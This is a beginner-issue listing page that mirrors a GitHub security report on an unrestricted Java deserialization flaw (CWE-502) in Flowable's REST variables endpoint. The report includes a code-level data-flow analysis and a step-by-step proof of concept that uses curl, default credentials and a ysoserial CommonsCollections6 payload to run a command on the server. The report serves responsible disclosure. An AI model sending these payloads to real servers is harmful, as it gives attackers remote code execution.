Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

[SECURITY] Deserialization RCE via POST /runtime/process-instances/{processInstanceId}/variables with type=serializable (CWE-502, CVSS 8.8)

Aperta
#4,289 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
35/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
java
Ambito
api, backend, security

Direzione di ricerca

Start by reading BaseExecutionVariableResource.java around setBinaryVariable(), then trace the callers in BaseVariableCollectionResource.java and ProcessInstanceVariableCollectionResource.java. Check flowable-default.properties for the default serializable-variable setting and identify existing tests for multipart variable uploads. Done means the reported unrestricted deserialization path is no longer exploitable under the default configuration, with regression coverage for the endpoint.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Security Vulnerability Report -- CWE-502

Summary

The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint allows unrestricted Java deserialization (ObjectInputStream.readObject) of uploaded files via multipart/form-data under default configuration. An attacker only needs Basic Auth credentials to trigger remote code execution (RCE).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint supports uploading binary variables via multipart/form-data. When the request's type parameter value is serializable, the server uses ObjectInputStream to directly perform Java native deserialization (readObject()) on the uploaded file content, without applying any class whitelist or ObjectInputFilter filtering. The rest.variables.allow.serializable property defaults to true in the default configuration, so an attacker only needs valid Basic Auth credentials to upload serialized objects containing malicious gadget chains to achieve remote code execution (RCE).

Exploitation Prerequisites
  • Authentication Status: Requires valid Basic Auth credentials (regular user sufficient; default authenticationMode=verify-privilege requires access-rest-api privilege, but authenticated() is sufficient)
  • Network Reachability: Flowable REST API port reachable (default 8080)
  • Input Constraints: Send a multipart/form-data request containing a name parameter, type=serializable parameter, and a file field containing the malicious serialized payload
  • Business Prerequisites: Need to know an existing processInstanceId (can be obtained via other API endpoints or by creating a process instance)
  • Configuration Dependencies: Triggerable with default configuration (rest.variables.allow.serializable=true); Spring Boot classpath typically contains Commons Collections, Spring Beans, and other libraries needed for deserialization gadget chains
Trigger Location

BaseExecutionVariableResource.java:162-166

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
Data Flow Overview
  1. Entry Layer — ProcessInstanceVariableCollectionResource.createExecutionVariable() (ProcessInstanceVariableCollectionResource.java:149-154)

    • Receives @PostMapping /runtime/process-instances/{processInstanceId}/variables multipart/form-data request
    • Calls getExecutionFromRequestWithoutAccessCheck(processInstanceId) to get Execution object
    • Delegates request to BaseVariableCollectionResource.createExecutionVariable()
  2. Dispatch Layer — BaseVariableCollectionResource.createExecutionVariable() (BaseVariableCollectionResource.java:83-86)

    • Checks request instanceof MultipartHttpServletRequest
    • If multipart request, calls setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
  3. Parameter Parsing Layer — BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102-136)

    • Extracts uploaded file and form parameters (scope, name, type) from multipart request
    • Validates type only allows binary or serializable
    • When type=serializable, enters deserialization branch
  4. Sink — ObjectInputStream.readObject() (BaseExecutionVariableResource.java:164-165)

    • Directly uses new ObjectInputStream(file.getInputStream()) to construct deserialization stream
    • Calls stream.readObject() to deserialize uploaded file content
    • No class name whitelist, ObjectInputFilter, or ValidatingObjectInputStream protection
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data serialized variable upload -> readObject() RCE

Layer 1: Entry — ProcessInstanceVariableCollectionResource.java:149-154

@PostMapping(value = "/runtime/process-instances/{processInstanceId}/variables",
    produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createExecutionVariable(
    @ApiParam(name = "processInstanceId") @PathVariable String processInstanceId,
    HttpServletRequest request, HttpServletResponse response) {

    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    return createExecutionVariable(execution, false, false, request, response);
}
  • External input: processInstanceId (path parameter), request (HTTP request, containing multipart data)
  • Operation: Gets Execution object, then passes raw HttpServletRequest to parent class method
  • Data transfer: request passed as method parameter to BaseVariableCollectionResource.createExecutionVariable()

Layer 2: Dispatch — BaseVariableCollectionResource.java:83-86

protected Object createExecutionVariable(Execution execution, boolean override,
    boolean async, HttpServletRequest request, HttpServletResponse response) {
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
    } else {
        // JSON body processing...
    }
  • External input: request (HttpServletRequest passed from entry)
  • Operation: Checks if request is MultipartHttpServletRequest, if so calls setBinaryVariable()
  • Data transfer: Casts request to MultipartHttpServletRequest and passes it

Layer 3: Parameter Parsing — BaseExecutionVariableResource.java:102-136

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
    Execution execution, boolean isNew, boolean async) {
    // ...
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("scope".equalsIgnoreCase(parameterName)) {
                variableScope = paramMap.get(parameterName)[0];
            } else if ("name".equalsIgnoreCase(parameterName)) {
                variableName = paramMap.get(parameterName)[0];
            } else if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
        }
    }
  • External input: multipart file and form parameters from request
  • Operation: Extracts uploaded file object file, and form parameters name, type, scope
  • Data transfer: file and variableType continue to be used within the same method

Layer 4: Sink — BaseExecutionVariableResource.java:144-166

if (variableType != null) {
    if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
        && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
        throw new FlowableIllegalArgumentException(
            "Only 'binary' and 'serializable' are supported as variable type.");
    }
} else {
    variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
    byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
    setVariable(execution, variableName, variableBytes, scope, isNew, async);
} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← SINK: unrestricted deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  • External input: file.getInputStream() (attacker-uploaded file byte stream), variableType (attacker-controlled form parameter)
  • Operation: When variableType is "serializable" and isSerializableVariableAllowed is true (default value), directly deserializes the entire uploaded file content via ObjectInputStream.readObject() into a Java object
  • Key issue: No security wrappers used when constructing ObjectInputStream (e.g., Apache Commons IO's ValidatingObjectInputStream, Java 9+'s ObjectInputFilter), no restrictions on deserialized class names
  • Data transfer: Deserialized Object value directly stored as variable value in process engine

Default Configuration Confirmation:

flowable-default.properties:57:

rest.variables.allow.serializable=true

BaseExecutionVariableResource.java:70:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Default value is true, meaning the deserialization path is fully available under default deployment.

CVSS Breakdown
Vector Value Description
Attack Vector (AV) Network Triggered remotely via HTTP REST API
Attack Complexity (AC) Low Attacker only needs to send a multipart POST request, no special conditions
Privileges Required (PR) Low Requires valid Basic Auth credentials (regular user sufficient)
User Interaction (UI) None No user interaction required
Scope (S) Changed Deserialization RCE can affect Flowable engine and underlying OS, exceeding the vulnerable component's own scope
Confidentiality (C) High Successful exploitation can fully control server, access all sensitive data
Integrity (I) High Can modify arbitrary data, tamper with process definitions
Availability (A) High Can stop service, delete data

Overall Score: 8.8 (High)


PoC Verification Report

Flowable REST API POST /runtime/process-instances/{id}/variables Unrestricted Java Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST API ProcessInstance Variable Unrestricted Java Deserialization
  2. Affected Component/Port: Flowable REST API (Tomcat port 8080), version 7.1.0
  3. Vulnerability Description: Through the POST /runtime/process-instances/{processInstanceId}/variables endpoint uploading type=serializable variables via multipart/form-data, the server directly calls ObjectInputStream.readObject() to deserialize uploaded file content without any class name whitelist or ObjectInputFilter. An attacker can leverage Commons Collections gadget chain to achieve RCE
  4. Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← SINK: unrestricted deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  1. Brief Data Flow:
Attacker HTTP POST multipart/form-data
  → file=[CC6 gadget chain], name=testVar, type=serializable
    ↓
ProcessInstanceVariableCollectionResource.createExecutionVariable (ProcessInstanceVariableCollectionResource.java:149)
    ↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83)
  Detects MultipartHttpServletRequest → calls setBinaryVariable()
    ↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102)
  Extracts file, name, type parameters
    ↓
BaseExecutionVariableResource.java:164-165
  new ObjectInputStream(file.getInputStream()).readObject() → RCE

Exploitation Conditions

Condition Description
Authentication Requires valid Basic Auth credentials (regular user sufficient, e.g., rest-admin:test)
Network Reachability Flowable REST API port reachable (default 8080)
Configuration Dependency Exploitable with default config (rest.variables.allow.serializable=true)
Other Prerequisites Need an existing processInstanceId (can be obtained by creating a process instance via POST)

Exploitation Chain Progress

Successful Exploitation:

Chain Stage Location (file:line) Status Evidence / Description
Entry ProcessInstanceVariableCollectionResource.java:149 Reached POST multipart/form-data request with type=serializable parameter entered endpoint
Intermediate Flow BaseVariableCollectionResource.java:83 Reached request instanceof MultipartHttpServletRequest is true, entered setBinaryVariable()
Parameter Parsing BaseExecutionVariableResource.java:120-135 Reached Extracted name=testVar, type=serializable, variable type validation passed
Sink BaseExecutionVariableResource.java:164-165 Triggered ObjectInputStream.readObject() deserialized CC6 gadget chain, Runtime.exec() executed system command
Conclusion — Full Chain Closed, RCE Successful Filesystem produced file created by touch command as RCE evidence

Exploitation Verification

Step 1: Obtain processInstanceId
curl -s -u rest-admin:test -X POST \
  "http://localhost:8080/flowable-rest/service/runtime/process-instances" \
  -H "Content-Type: application/json" \
  -d '{"processDefinitionKey":"oneTaskProcess"}'

Return result (extract id field):

{"id":"1b783b21-9000-11f1-a444-02423661ba3a", ...}
Step 2: Generate CommonsCollections6 serialized payload
java --add-opens java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections6 \
  "touch /tmp/poc_entry_0625_rce_proof" > cc6_touch.ser
Step 3: Send malicious multipart request to trigger RCE
PROCESS_ID="1b783b21-9000-11f1-a444-02423661ba3a"

curl -s -u rest-admin:test \
  -X POST \
  -F "name=testVar" \
  -F "type=serializable" \
  -F "file=@cc6_touch.ser;type=application/octet-stream" \
  "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROCESS_ID}/variables"

Actual execution result: HTTP 201, variable created successfully:

{"name":"testVar","type":"serializable","value":null,
 "valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/1b783b21-9000-11f1-a444-02423661ba3a/variables/testVar/data",
 "scope":"local"}
HTTP_CODE: 201
Step 4: Verify RCE command was executed on server
ls -la /tmp/poc_entry_0625_rce_proof

Actual result:

-rw-r----- 1 root root 0 Aug  4 12:29 /tmp/poc_entry_0625_rce_proof

Conclusion: The attacker successfully executed the touch /tmp/poc_entry_0625_rce_proof command on the Flowable REST API server through a multipart POST request carrying a CommonsCollections6 gadget chain. The HTTP 201 response confirms the server fully processed the request, and the new file /tmp/poc_entry_0625_rce_proof on the filesystem directly proves that ObjectInputStream.readObject() triggered Runtime.exec() to execute an arbitrary system command, achieving remote code execution (RCE). This vulnerability is exploitable under default configuration with only regular user Basic Auth credentials.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Lingua principale
Java
Stelle
9.6k
Fork
2.9k
Merge medio
1h 9m
PR unite (30g)
2

Preparare l'ambiente

  • Nessun Dockerfile né file Docker Compose
  • Ha un modello di pull request
  • Nessuna guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di flowable/flowable-engine

Tutte le issue di flowable/flowable-engine

Issue simili

Altre issue su Java

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.